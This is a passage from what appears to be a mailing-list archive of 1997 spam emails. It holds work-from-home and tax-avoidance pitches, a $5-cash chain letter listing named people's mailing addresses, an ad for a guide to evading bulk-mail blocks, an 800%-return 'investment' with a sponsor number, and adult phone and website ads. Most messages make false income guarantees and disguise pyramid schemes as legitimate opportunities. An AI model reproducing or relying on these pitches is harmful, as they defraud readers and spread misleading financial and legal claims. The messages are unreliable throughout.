    Our international association is comprised of a large group of extremely diverse independent individuals from attorneys, physicians, CPA's, licensed financial consultants and other professionals to housewives, students and blue-collar workers.

Since the original founders of our organization first banded together just over three short years ago, we have grown to over 20,000 members in the United States and Canada and we are adding literally hundreds of new associates every day. What's so incredible about our phenomenal growth rate is that we are not M L M'ers!!

HERE ARE 16 REASONS YOU SHOULD TAKE A SERIOUS LOOK AT THIS:

1.YOU REALLY CAN EARN $2,000 - $5,000 PER WEEK, WORKING FROM YOUR HOME... By and large, the majority of us already are. Why not you too?
2.  FAST AND EASY WITH REASONABLE STARTUP COSTS... You can be up and going, trained and generating huge cashflow, within 24 hours from the time you decide to pursue this venture. You won't need any personnel, office, liability or workers comprehensive insurance --- just a fax machine and a phone!
3.  REASONABLE FIXED OVERHEAD/OPERATING COSTS... Your only overhead is your phone bill!
4.  PROFITS THAT ENTREPRENEURS USUALLY ONLY DREAM OF.. A 90% profit margin on sales of $1,250 or $6,250 respectively, means you net either $1,125.00 OR $5,625.00 on **EVERY** sale!
5.  EASY TO MARKET; We don't do any selling..everyone wants and needs our products! All we do is explain it and offer it to people! REAL? Don't take my word, prove it to yourself!  Take a look at this and then do what over 20,000 of us have done.
6.  NOT MLM... This is not some chain letter or any other kind of bogus, unethical or illegal scheme.  (EXAMPLE: Our $1,250 product's actual value is estimated to be between $10,000 and$15,000!).
7. NO INVENTORY MAINTENANCE OR ORDER FULFILLMENT... WITH AN UNCONDITIONAL TEN DAY MONEY BACK GUARANTEE. .
8. 8.  DEAL EXCLUSIVELY WITH ONLY INTERESTED PROSPECTS...
9.  ALL PROCEEDS ARE ISSUED DIRECTLY TO YOU.
10.  ALL THE FRESH HOT LEADS YOU CAN HANDLE....
11.  TRAINING, MARKETING, ADMIN. SUPPORT SECOND TO NONE... Most people who market our products make 1 or 2 sales their VERY FIRST WEEK,  we're ALWAYS there to HELP YOU
12.  OUR PRODUCTS...THE BEST THERE IS. Simply put, what we sell to earn our extraordinary living, is education, incredible and verifiable factual information that 99% of the world's population doesn't even know exists, including most Attorneys, CPA's, so called Tax Experts, Tax Consultants, Financial Consultants, Investment Strategists and the like. It's no big secret that the rich pay very little (if any) taxes on their incomes, but how do they get away with it? With these simply presented and easily understood educational products, ordinary people just like you and me are now learning to use the same complex tax avoidance and investment strategies that the wealthy have always used! Anyone who purchases our products quickly finds out that no matter what their current situation, they can substantially reduce (and in some cases even totally eliminate) ALL of their personal and/or business tax liabilities, forever and completely legally. And, interestingly enough, the informatio!
n is just as valid for those who
 are wage earners as those who (already) have money! Consumers of these incredible educational products also learn that there are many safe (insured) investment vehicles that the wealthy use, which generate three to five times more yield on their cash investments in one month, than the rest of the world gets in a whole year?  Our products not only identify these vehicles, but even show techniques and methodologies that an average person can use in taking advantage of them - even with very little cash to invest! (IMPORTANT NOTE: We, the salespeople who market these products, Do not sell investments or investment opportunities of any kind nor do we give any legal, investment, tax, or other "professional" advice). And, did you know that because our society has become so litigious, the odds of an individual being named as a defendant in a civil litigation in the next 12 months, are now more than 10 times greater than the odds that they'll be hospitalized? These products also show !
average people how to become leg
ally "judgement proof" --- how to fully protect both their current and future assets from any form of liens, levies or judgements in any civil legal action wherein they are named as a defendant. 
13.  CREDIBILITY...
Our association is only a little over three years old but has already established itself as a well recognized, well reputed and universally respected international organization.
14.  INCREDIBLE, VERIFIABLE TRACK RECORDS OF SUCCESS... You'll be introduced to many others in our association who are already earning a great deal of money(mostly just average middle class people like you and I), and have been able to do so virtually immediately as soon as they started with us.  
15. SPEND LOTS MORE TIME WITH YOUR FAMILY... 
Our turnkey system does not require long hours in order to be successful.
16.  THIS IS IT -- NO HYPE -- NO EXAGGERATION...
In over 35 years of owning and operating my own businesses, before I took a real good look at this, of course I thought I'd seen it all. Frankly, I was convinced that I already knew everything there was to know about anything relating to marketing and sales, if not business in general. I am well experienced and a professional who considers myself exceptionally savvy. But as soon as I got the full picture, it turned my previous view of business and even the views I had of myself, upside down!  My experience then led me to the question, "If my logic as well as my calculations were even half accurate, and I could make great money not even having to sell much, what if I sold a lot?" With that I jumped in on Oct'97 and haven't regretted it for even a split second since. With some experience under my belt now, I can tell you two things without any hesitation whatsoever: 1) Expect to earn an enormous personal income, and 2) do so while enjoying yourself doing it. 

FROM ME TO YOU, PERSONALLY.......
  If  you are a little skeptical of the above "unbelievable" outline of this opportunity, that's okay. At first, so was I (and so is everyone else who first runs into it). We understand, especially in this day and age, that it's prudent to be cautious. But from me to you, don't let anything, including any bitter memories you have of bad experiences, keep you from at least giving this an honest look. YOU OWE IT TO YOURSELF AND YOUR FAMILY! ". I give you my word, you won't be sorry you did. 

If you are interested in how you can earn a great deal of money quickly,call us at: (Note please read this letter completely before calling)
1-888-245-9163 - To set up an interview (24 Hours a day)
904-654-7727 (Ext. 6200) For money-making information 
904-654-7727 (Ext. 5093) For information on taxes

Please feel free to forward any specific questions or comments. We will return all calls in the order they were received. A telephonic interview is required before acceptance . Thereafter you will be given a toll-free number to contact us at any time.

We are looking for 5 good people, you could be one of them!

Sincerely,
DENNIS  AND  DIETER


             


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 95059550@moneymakers.com
Date: Sat, 13 Dec 1997 23:37:52 -0800 (PST)
To: 4450011B3@futuretec.com
Subject: Earn $2,000-$5,000 per week...NOT MLM
Message-ID: <199746522791.FBB03720@mns.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
ARE YOU READY TO MAKE IT; WILL THE LIGHT GO ON?

Are you tired of working 9-5 for peanuts, with little or no control over your financial destiny? Hello, my name is Dieter and my partners name is Dennis
 (By the way, please forgive this intrusion. We are looking for people who have
an entrepreneurial spirit and can recognize an opportunity when they see it and move on it! If that's you, We'd like to invite you to join our team and work from your home making $2.000 to 5,000 per week and more....much more in some cases. One of our members quit her job of 14 years after one month! Another made the cover of a national magazine after just one quarter! Skeptical? You should be. You've seen every scam out there. So have the rest of us. But simply stated, this is the finest opportunity in America today. We can prove it. How? We have exactly what over-worked, under-paid, over-taxed Americans desperately want and need!

REMEMBER, THE ROAD TO HELL IS PAVED WITH GOOD INTENTIONS!

It's your choice, financial freedom or bondage!

INTRODUCTION:
    Our international association is comprised of a large group of extremely diverse independent individuals from attorneys, physicians, CPA's, licensed financial consultants and other professionals to housewives, students and blue-collar workers.

Since the original founders of our organization first banded together just over three short years ago, we have grown to over 20,000 members in the United States and Canada and we are adding literally hundreds of new associates every day. What's so incredible about our phenomenal growth rate is that we are not M L M'ers!!

HERE ARE 16 REASONS YOU SHOULD TAKE A SERIOUS LOOK AT THIS:

1.YOU REALLY CAN EARN $2,000 - $5,000 PER WEEK, WORKING FROM YOUR HOME... By and large, the majority of us already are. Why not you too?
2.  FAST AND EASY WITH REASONABLE STARTUP COSTS... You can be up and going, trained and generating huge cashflow, within 24 hours from the time you decide to pursue this venture. You won't need any personnel, office, liability or workers comprehensive insurance --- just a fax machine and a phone!
3.  REASONABLE FIXED OVERHEAD/OPERATING COSTS... Your only overhead is your phone bill!
4.  PROFITS THAT ENTREPRENEURS USUALLY ONLY DREAM OF.. A 90% profit margin on sales of $1,250 or $6,250 respectively, means you net either $1,125.00 OR $5,625.00 on **EVERY** sale!
5.  EASY TO MARKET; We don't do any selling..everyone wants and needs our products! All we do is explain it and offer it to people! REAL? Don't take my word, prove it to yourself!  Take a look at this and then do what over 20,000 of us have done.
6.  NOT MLM... This is not some chain letter or any other kind of bogus, unethical or illegal scheme.  (EXAMPLE: Our $1,250 product's actual value is estimated to be between $10,000 and$15,000!).
7. NO INVENTORY MAINTENANCE OR ORDER FULFILLMENT... WITH AN UNCONDITIONAL TEN DAY MONEY BACK GUARANTEE. .
8. 8.  DEAL EXCLUSIVELY WITH ONLY INTERESTED PROSPECTS...
9.  ALL PROCEEDS ARE ISSUED DIRECTLY TO YOU.
10.  ALL THE FRESH HOT LEADS YOU CAN HANDLE....
11.  TRAINING, MARKETING, ADMIN. SUPPORT SECOND TO NONE... Most people who market our products make 1 or 2 sales their VERY FIRST WEEK,  we're ALWAYS there to HELP YOU
12.  OUR PRODUCTS...THE BEST THERE IS. Simply put, what we sell to earn our extraordinary living, is education, incredible and verifiable factual information that 99% of the world's population doesn't even know exists, including most Attorneys, CPA's, so called Tax Experts, Tax Consultants, Financial Consultants, Investment Strategists and the like. It's no big secret that the rich pay very little (if any) taxes on their incomes, but how do they get away with it? With these simply presented and easily understood educational products, ordinary people just like you and me are now learning to use the same complex tax avoidance and investment strategies that the wealthy have always used! Anyone who purchases our products quickly finds out that no matter what their current situation, they can substantially reduce (and in some cases even totally eliminate) ALL of their personal and/or business tax liabilities, forever and completely legally. And, interestingly enough, the informatio!
n is just as valid for those who
 are wage earners as those who (already) have money! Consumers of these incredible educational products also learn that there are many safe (insured) investment vehicles that the wealthy use, which generate three to five times more yield on their cash investments in one month, than the rest of the world gets in a whole year?  Our products not only identify these vehicles, but even show techniques and methodologies that an average person can use in taking advantage of them - even with very little cash to invest! (IMPORTANT NOTE: We, the salespeople who market these products, Do not sell investments or investment opportunities of any kind nor do we give any legal, investment, tax, or other "professional" advice). And, did you know that because our society has become so litigious, the odds of an individual being named as a defendant in a civil litigation in the next 12 months, are now more than 10 times greater than the odds that they'll be hospitalized? These products also show !
average people how to become leg
ally "judgement proof" --- how to fully protect both their current and future assets from any form of liens, levies or judgements in any civil legal action wherein they are named as a defendant. 
13.  CREDIBILITY...
Our association is only a little over three years old but has already established itself as a well recognized, well reputed and universally respected international organization.
14.  INCREDIBLE, VERIFIABLE TRACK RECORDS OF SUCCESS... You'll be introduced to many others in our association who are already earning a great deal of money(mostly just average middle class people like you and I), and have been able to do so virtually immediately as soon as they started with us.  
15. SPEND LOTS MORE TIME WITH YOUR FAMILY... 
Our turnkey system does not require long hours in order to be successful.
16.  THIS IS IT -- NO HYPE -- NO EXAGGERATION...
In over 35 years of owning and operating my own businesses, before I took a real good look at this, of course I thought I'd seen it all. Frankly, I was convinced that I already knew everything there was to know about anything relating to marketing and sales, if not business in general. I am well experienced and a professional who considers myself exceptionally savvy. But as soon as I got the full picture, it turned my previous view of business and even the views I had of myself, upside down!  My experience then led me to the question, "If my logic as well as my calculations were even half accurate, and I could make great money not even having to sell much, what if I sold a lot?" With that I jumped in on Oct'97 and haven't regretted it for even a split second since. With some experience under my belt now, I can tell you two things without any hesitation whatsoever: 1) Expect to earn an enormous personal income, and 2) do so while enjoying yourself doing it. 

FROM ME TO YOU, PERSONALLY.......
  If  you are a little skeptical of the above "unbelievable" outline of this opportunity, that's okay. At first, so was I (and so is everyone else who first runs into it). We understand, especially in this day and age, that it's prudent to be cautious. But from me to you, don't let anything, including any bitter memories you have of bad experiences, keep you from at least giving this an honest look. YOU OWE IT TO YOURSELF AND YOUR FAMILY! ". I give you my word, you won't be sorry you did. 

If you are interested in how you can earn a great deal of money quickly,call us at: (Note please read this letter completely before calling any of the following numbers.)

904-654-7727 (Ext. 6200) For money-making information 
904-654-7727 (Ext. 5093) For information on taxes
Please call the above two numbers before calling the (888) number below.
1-888-245-9163 - To set up an interview (24 Hours a day)

Please feel free to forward any specific questions or comments. We will return all calls in the order they were received. A telephonic interview is required before acceptance . Thereafter you will be given a toll-free number to contact us at any time.

We are looking for 5 good people, you could be one of them!

Sincerely,
DENNIS  AND  DIETER


             


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmstr@goplay.com
Date: Sun, 14 Dec 1997 21:12:32 -0800 (PST)
To: subscribers@this.net
Subject: We Do All The Work And You Collect All The Money
Message-ID: <7916D8510V@mail.san.rr.com>
MIME-Version: 1.0
Content-Type: text/plain


If you're NOT currently looking for an income opportunity, then just 
delete this message.

If you ARE looking for an income opportunity, then...

WELCOME TO THE HOTTEST CASH GENERATING PROGRAM ON THE INTERNET!

I'm sure that this is not the first opportunity that you have 
ever run across that claims that you can make a lot of cash, 
very quickly. But, this just might be the only program you'll 
ever run across, that can actually make that happen.

Every other cash generating program that you've ever run across
was probably doomed from the start, for 3 simple reasons.
	
	1) You needed to dedicate a lot more time and effort into 
	   the marketing of your program, than you originally planned.
	2) You needed to invest a lot more money into the marketing of 
           your program, than you originally expected.
	3) Your success depended solely on you. And, unless you're 
	   a marketing expert, your expected level of success just 
	   wasn't going to be achieved.  

Well, that's where our expertise comes in. We here at Internet Marketing 
Services, have been asked to develop an effective marketing system that 
would require virtually no effort and very little capital. 
 
We are proud to tell you, that our experience in this industry has 
enabled us to create a very low cost, high response, marketing program, 
that blows away traditional methods of network marketing and advertising.

The secret to becoming successful in any business is to get your message 
to as many people as possible, in a cost effective manner. Through our 
creative advertising program were able to greatly reduce our costs and 
we are simply passing the savings on to you. 

IT'S REALLY AMAZING HOW EASY THIS IS AND HOW BEAUTIFULLY IT WORKS!

By compounding our efforts and combining your advertising along with 
other income opportunity seekers wanting to participate in this highly
profitable program, Internet Marketing Services is now able to offer you 
the best Internet marketing rates available anywhere.

HERE'S HOW IT WORKS. Multi-level marketing is still used by some of the 
largest companies in the world today; Amway, Excel and Avon, just to name
a few. This highly effective, multi-level business provides you the same 
type of opportunity. A business that offers a proven cash generating 
program, complete with a low cost internet marketing service. THIS IS 
THE SECRET TO YOUR SUCCESS! 

If a new customer decides to participate in your program, they simply 
send you a $5.00 commission. And the best part is, we do all the hard 
work for you, you just collect your cash. 

As with all multi-level businesses, your income is generated by recruiting 
new customers that have the same interest as you. The desire to create a 
large cash income. And, every state in the USA allows us to legally 
recruit for you, via the Internet.

For an extremely low fee of only $35.00, we will market this highly
profitable opportunity to 750,000 people with your name and address 
inserted into the mailing. Then you just go to your mailbox and collect 
your cash. That's all there is to it.

HERE'S HOW YOUR ADVERTISING DOLLARS COMPOUND. In each mailing your 
name will be included with 2 other distributors. We will then advertise 
your opportunity to 250,000 people, in 3 seperate mailings. So your 
opportunity will be offered to 750,000 different people. 

EXAMPLE:

Mailing #1:       250,000 People
Mailing #2:       250,000 People
Mailing #3:       250,000 People
FOR A TOTAL OF:   750,000 People

NOW, LET'S COMPARE COSTS. If you were to send your offer through the 
postal service, it would cost you $240,000.00, in postage alone.

The typical e-mail company charges 1-2 dollars per 1000 addresses 
mailed to. That would be a minimum of $750.00. 

Other methods could be even more expensive than using the postal service.

As you now can see, by compounding your advertising dollars with other
income opportunity seekers, it allows us to offer you a cost effective
way to cash in on a proven income generating program. And remember, we
do all the work for you. You just go to the mailbox and collect your cash.

THIS IS A LEGITIMATE MONEY MAKING OPPORTUNITY. It does not require you 
to come into contact with people, do any hard work, and best of all  
you never have to leave the house except to get the mail. This 
multi-level, e-mail order, marketing program works perfectly, every time. 
E-mail is the ultimate sales tool of the future, and the future is now!

If you ever wanted "THE EASY WAY" to make a lot of money...
just follow these 3 easy steps using this sure fire system!

STEP 1: Send $5.00 in "CASH", NO CHECKS PLEASE, to each of the 3 
distributors below. Just like new customers will be sending to you, 
once your name has been placed onto the mailing. Also, include a seperate 
sheet of paper with your name as it is to appear on this mailing, along 
with the words, " I WOULD LIKE TO SUBSCRIBE TO YOUR INCOME 
OPPORTUNITY NETWORKING SERVICE." Once the 3 distributors 
receive your $5.00 payment, they will each e-mail us your name, verifying 
that you have paid them their commission. This service also eliminates 
the possibility of anyone replacing any existing names on the mailing.

#1:            
S. Stucki
Box 242
Delta, UT 84624

#2:
QBS, Inc
1425 Main St. #140
Ramona, CA 92065

#3:
Richard Norman
8 Nantucket Court
Windsor, CO 80550

STEP 2: Send $35.00, along with your name and address as you want it to 
appear on this mailing. (You can use your full name, your initials, a 
business name or what ever you prefer) Once we receive your payment and 
verification via e-mail that you paid each distributor their commission; 
we will automatically position your name and address through all 3 
mailings until this offer has been e-mailed to 750,000 people. 

Be sure to include your e-mail address. Once we receive your payment, we 
will e-mail you our priority e-mail address. This is how you will notify us
that you received your payment from customers that want to paticipate in 
your program. This is a fool-proof system that eliminates anyone from 
using your service without paying you your $5.00 commission.
 
You can use this program as many times, and as often as you like. 
By doing this, it is possilbe to create a perpetual cash income.
And yes, we accept personal checks.

Make check payable to and send to:

Internet Marketing Services
2375 E.Tropicana #135
Las Vegas, NV 89119
 		 
Please note, Internet Marketing Services does not participate in your 
offer, nor do we share in your income in any way. Internet Marketing 
Services is a low cost, internet marketing provider only.

STEP 3: Go to your mailbox daily and collect your cash.

MAKING MONEY JUST DOESN'T GET ANY EASIER THAN THIS!

By now your probably asking yourself, "how much money can I really make?"

Below are the results of an Internet survey conducted by www.survey.net:

50% of the people on the Internet have made purchases, 40% have made 
several purchases, 80% like the idea of shopping on the Internet, 50% 
of those purchases are computer information related, 50% think of e-mail 
as their second most important application, 20% have made purchases 
because "I came across it and I liked it, so i bought it."

POSSIBLE EARNINGS PER 750,000 E-MAILS

1%      Response @  7,500 X $5.00 = $37,500
1/2%    Response @  3,750 X $5.00 = $18,750
1/4%    Response @  1,875 X $5.00 = $ 9,375
1/8%    Response @    938 X $5.00 = $ 4,690

HOW MANY RESPONSES DO YOU THINK YOU WILL RECEIVE?

As more and more people look for ways to create wealth and financial
security, the need for a successful income opportunity is constantly in 
demand.

If you're fed up with the high cost of marketing and advertising then why 
not take advantage of this powerful opportunity and start creating wealth 
for you and your family.

We hope that you are one of those unique individuals that does more than
just dream about creating wealth and has the foresight to see what an 
incredible money making opportunity that this really is, requiring no
effort and a very small investment. 

JUST IMAGINE WHAT YOU AND YOUR FAMILY CAN DO WITH ALL THAT CASH!

FREE WEBSITE:

Would you like to create your own website for business or personal use?

Just go to www.freeyellow.com and follow the prompts.

































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Insider Marketing <secrets999@nowhere.com>
Date: Sun, 14 Dec 1997 21:39:10 -0800 (PST)
Subject: Bulk Mail Guru Spills Beans!
Message-ID: <199712150528.FAA23823@mwr.mwr.is>
MIME-Version: 1.0
Content-Type: text/plain



New report reveals how to use email to create insane profits.

I've learned the secrets that let me send out bulk email while
the others have been out of business for almost two months.

Discover my insider methods that teach you . . .

     How to bulk mail, and keep mailing without a BULK ISP!
     
     How to get through to AOL
     
     Where to get a bullet proof AUTORESPONDER for $5/month.
     
     Where to find the best sources of bulk email info on the net!
	 
I am currently using all these techniques, and you can too. For
more details, send mailto:mailguru@goplay.com


	




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lnda@aaaa.net
Date: Sun, 14 Dec 1997 22:17:29 -0800 (PST)
To: lnda@aaaa.net
Subject: Your information
Message-ID: <199712150619.BAA11309@athena.aaaa.net>
MIME-Version: 1.0
Content-Type: text/plain



LEARN THE SECRET TO MAKING $1285.00 A 
WEEK SITTING AT YOUR HOME COMPUTER FOR 
JUST A COUPLE HOURS A DAY!   PART-TIME!

IN JUST 10 MINUTES WE'LL SHOW YOU AN EASY 
WAY TO MAKE MONEY WITH YOUR COMPUTER.

YOU'LL HAVE PAYCHECKS ARRIVING IN YOUR MAIL
BOX SIX DAYS A WEEK.

It's fun, it's rewarding, and it's easy.  This is so simple
most children could do it!  All you need is a computer and 
E-Mail address to begin making excellent money while 
relaxing in the comfort of your own home.  

Any week that you have a few hours of spare time, you 
can make $1285.00, (ONE THOUSAND TWO HUNDRED 
AND EIGHTY-FIVE DOLLARS)  There are people doing 
this every week.  Right now there are only a few people 
around the country who know how to do this.  And these 
few people are having the best time of their lives while 
their computers make them a high level of income.   

Even if you are happy with your current job, you can use 
this easy system in your spare time to create a nice extra 
income.  And let us assure you this system is completely 
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income with this unique system, we will even let you try it 
out for 30 days!  And if you're not 100% satisfied, just send 
it back within 30 days and we will be more than happy to 
give you a full refund.  

Once you begin to see how easy it is to make money with 
your computer, you will wish you had received this letter a 
long time ago.  Anyone can do this, and since very little of 
your time is required, you will have more free time to spend 
doing the things you have always wanted to do.

So take the first step toward financial freedom and order 
this powerful money making system today!  You'll be glad 
you did!

This system has sold nationwide for as much as $29.95
And in 2 weeks we may be raising the price of our money 
making system.  Send in your order before then to be 
sure you receive it for only $15.95   

To receive your copy of our SIMPLE COMPUTER MONEY 
MAKING SYSTEM, along with a full 30 day money back 
guarantee, send a check or money order for $15.95 
payable to:

Crown Industries
1630 North Main St. Suite# 310
Walnut Creek,  CA  94596

Allow 4-6 days for delivery
(We do not accept orders from the state of Florida)

P.S.  We challenge you to find a legitimately faster, 
more lucrative, simple or fail-proof opportunity anyware.
There is no need to wonder if this system will work
for you.  This system works 100% and can begin to 
immediately pay you cash up-front week after week
for a lifetime of wealth.  We guarantee you will make
money or we'll send your $14.95 back to you.

































































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: woostp@ns.interred.co.cr
Date: Mon, 15 Dec 1997 13:47:20 -0800 (PST)
To: infolist@ns.interred.co.cr
Subject: $145 turned to $1300: BEST investment for ANYBODY
Message-ID: <24139010_44589743>
MIME-Version: 1.0
Content-Type: text/plain






Dear Friend:

   Earlier this week I sent you this very
same letter and since I have not heard
from you I imagined either it didn't 
get delivered or you accidentally hit 
"delete" on it. Or you simply just 
haven't gotten around it.

   I don't think you want to wait around 
much longer. Especially if like other 
friends of mine and business relationships,
you are interested in 
         
        MULTIPLYING SUBSTANTIALLY 

(and in a very short time) a very 
small investment.

So here again, is a copy of my letter.

   Today I write you to share one of the most simple 
and beneficial investments I found in the
last months. I waited effectively several months
to verify the incidence of my decision and truly,
I am so glad of this one, that I decided
to share it with a selected handful of people.

   I was proposed to invest $145 minimum 
and $485 maximum to receive a basic 
$1300 in the first months with a program,
by sharing it with a very few friends.
 (I took the $485 option).

   Conclusion: not only didn't I have to wait
one year to see a 800% of return on my 
investment, but I had the surprise to 
receive this amount  
      SEVERAL TIMES BY MONTH.
It seems incredible, but it's true.

   The American Company offering this program
is not only serious, but I could personally
speak with the President and the CPA and 
they have been reliable for the few friends
I shared the program with.

   So, if I awakened your interest just a 
little bit, this is the moment and 
opportunity to give a look to the complete
information pulling the
 
     FAX ON DEMAND #  716-720-2106

or visiting the following WEBSITE: 

      http://peopleschoice.com/STP/home.html

   And remember, do as I did by considering
this opportunity as an investment, and,
applying the program, it will give you
the most secure and fantastic yield you 
can find.  
        FOR ONLY $145 to $485.

   Just try it, contemplating that the risk is 
around zero and share it with two or 
three of your best friends just after 
you applied. 

   To participate, you must 
indicate a sponsor number. I would be 
glad if you used mine, it is: 
               # 983 
registered under the name of  
my corporation, 
            WOOSTER CORP.

   So don't hesitate on this opportunity
my friend. You are getting today one 
of the most safe and simple ways to 
increase a very little capital SEVERAL TIMES.

Just try it as I did.

Friendly

Jean Marc Gelot

CEO / WOOSTER CORP.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: highjock@yahoo.com
Date: Mon, 15 Dec 1997 20:09:09 -0800 (PST)
To: ping@spittle.com.uk
Subject: SHY?.....................................
Message-ID: <32964511117523654785.0022@spittle.com.uk>
MIME-Version: 1.0
Content-Type: text/plain


                      FREE.....FREE.....FREE..... FREE



                                 FREE CALL!

                               011-678-77432
                                ( NEW !!! )


                If you're OVER 21, Get Ready and HANG ON!

 Our young girls are SEXY & HOT (or HOWEVER you want), and are for real!




                 >>>>>>    LIMITED TIME OFFER    <<<<<<


                   Talk to them LIVE...... For FREE!
                    NO 900's, NO credit cards needed!

                    Just pick up the phone.But HURRY.

You don't have too much longer. We want to introduce you to our girls and our 
new business, so we're charging NOTHING for the service, you just pay for normal 
small long distance charges.


             Shy?........Then sit back and listen in on live, 
                  sexy conversations with other callers.


     Get away from that computer, loosen your belt for a few minutes,   
             recharge your batteries, and have some fun!

They're waiting for your call, and will talk about ANYTHING you want! No holds 
barred.


                  >>>>>    LIMITED TIME OFFER    <<<<<<


                              FREE CALL!

                            011-678-77432

  
               (Use your country code if 011 doesn't work)



This is a one time mailing!! You will not receive any  more ads from us. 
But if you'd like, hit reply and put "remove me" on the subject line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 34705164@25955.com
Date: Mon, 15 Dec 1997 22:10:32 -0800 (PST)
To: members.only.com
Subject: The Best XXX Guest Area on the Net...
Message-ID: <147712.133@4XXXluv2u.com>
MIME-Version: 1.0
Content-Type: text/plain


Filled with the hottest XXX action on the net. See it NOW for FREE...

http://www.fleshgrotto.com/guests/

We feature Streaming XXX videos, LIVE feeds, huge XXX galleries, 
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No other site gives their guests so much... Check It Out.

http://www.fleshgrotto.com/guests/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 44096770@15605.com
Date: Tue, 16 Dec 1997 06:26:15 -0800 (PST)
To: Fortune@5000.net
Subject: You Could Earn $100 Every Time the Phone Rings!!
Message-ID: <199702170255.GAA08056@5000.net>
MIME-Version: 1.0
Content-Type: text/plain


Double your money to infinity!  Let professional salespeople close your contacts! Fortune 5000 is a rock-solid program that pays big checks every Friday!  Friendly pros offer great support!  You'll get guaranteed lowest prices on over 250,000 name-brand products and services in time for Christmas giving. YOU CAN'T BEAT THIS PROGRAM!!!  Call 800 811-2141 code #47990 for the details and start creating your fortune TODAY!  Please don't allow yourself to miss this incredible opportunity!  Fortune 5000 is head-and-shoulders above the crowd of other opportunities!  Pick up the phone NOW while the thought is fresh in your mind and start earning a SUBSTANTIAL income.  You will be HAPPY you did!  Call (800) 811-2141 code #47990 and say hello to a bright future!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lori@6t9.com
Date: Tue, 16 Dec 1997 07:53:33 -0800 (PST)
To: lori@6t9.com
Subject: Super Cool Site!
Message-ID: <199712161458.JAA02715@6t9.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

   I'm Lori. My girlfriends and I have created this way cool site.
We would love you to check it out.

http://www.6t9.com/dsnm/alpg/

Love,                                                                              
    Lori


P.S.  Being new to this, we were told that if you NEVER want to hear from us
again, reply with the subject "Remove" and you won't.  That would make us
really sad though.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: HSummers594@prodigy.net
Date: Tue, 16 Dec 1997 12:29:07 -0800 (PST)
To: yourbox@mail.com
Subject: Extra Income
Message-ID: <0000000000.AAA000@prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#ffffdf">
***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

      Let me tell you which companies to contact so you can start to
 receive your checks. They can be $200.00, $400.00, even $800.00 per
 week, depending on what you do. You can earn this excellent income
 right at home. And you work only when you want to.

      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
 directories and other sources.

      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
 me direct you to the best opportunities that are available today. Ones that
 people are using right now to earn all the money they want.

 Get Paid For Stuffing Envelopes.
 No Fees. Nothing To Buy.

      This easy work is very appealing, but most people do not know
 how to get it. That's because so many of the envelope stuffing programs
 being advertised are not what you expect. And you don't find that out
 until after you send in your money.

       Let me tell you the real facts. With true envelope stuffing...

       * You do not need to pay any fee or buy any materials to get started.
       * You do not do any advertising or handle any orders.
       * All printing, postage, and mailing lists are supplied free by
          the companies that pay you.
       * Your pay is based entirely on how many envelopes you complete.

      Rosie Martinez is an example of someone who earns money stuffing
 envelopes. The company delivers all the materials right to her door.
 She stuffs the envelopes, seals them, and applies the mailing labels
 and postage stamps that are supplied. Then she gets paid for every
 envelope completed.

      Rosie says, "I'm retired, and I enjoy having something to do.
                          I usually watch television while I work. The
                          home shopping  shows are much more fun now
                          that I have money to spend."

      If you'd like to do this kind of work, just follow the directions in
 Chapter 3 of my book "Real Home Income". Or try any of the other
 opportunities covered.

      Hundreds of companies are ready to help you make money. I'll
 tell you what each one has available now.

      Choose the kind of work you like and write to the companies who
 offer it. Pick any you want. You can work as an independent contractor for
 as many companies as you have time for.

      There are no qualifications to meet, so you will not be turned
 down. I guarantee it. If you don't like one company or you want to make
 more money, there are plenty of others you can try.

 Get Paid For Assembling Miniatures

      Gina Walker of Texas likes to assemble miniature furniture for doll houses.
 All the necessary materials are supplied by the company that
 pays her. She puts them together and sends them back to the company.

      Everything is conveniently handled by mail and UPS. The company
 sends her a nice pay check for each batch she completes.

      Gina says: "I really like the work, and the extra money helps
                       pay my bills. I'm glad I found out about these companies."

      You can get paid the same way. And you don't have to make miniatures.
 You can choose from many other types of work. You can sew baby
 bonnets, assemble beaded jewelry, crochet doll clothes, make wooden
 items, assemble stuffed animals, paint figurines, weave rattan reed,
 and many more.

     You get the names and addresses of over 50 companies that will pay
for things you make or assemble at home. No experience is required,
and it makes no difference where you live.

     Almost all the companies supply the needed materials. Just do the
work and get paid for each batch you send back. Wouldn't you like to
get those pay checks? I'll show you how to get started fast.

How I Made $800.00 Per Week After Losing My Job

     I became interested in home income opportunities several years
ago when I lost my job. I sent for dozens of money making offers. Most
were totally worthless. Others did not appeal to me.

     But circular mailing caught my interest... and it actually
worked. In just six weeks, I was making over $800.00 a week working
part time at home. It was better than my previous job. I soon paid off
my bills and bought a new car.

     Yet that was only the beginning. As I learned more about it and
tried different things, the money poured in even faster. It made a
huge difference when I applied certain secrets that are used by the
experts. I was amazed at how profitable it could be.

     In "Real Home Income" you'll learn how to use those secrets
yourself. I'll tell you which companies to contact to get started.
I'll show you some simple steps you can take to double your income
without doing any more work.

      If you want, you can do all of this without handling any
orders. Your name and address does not have to appear on anything you
mail. You just mail circulars for companies and receive nice fat
checks from them.

     With my proven methods, you can soon be earning more money than
you ever imagined. Just follow my directions, and you can start
receiving checks from the same companies I do.

Receive One Dollar For Each Envelope You Stuff.
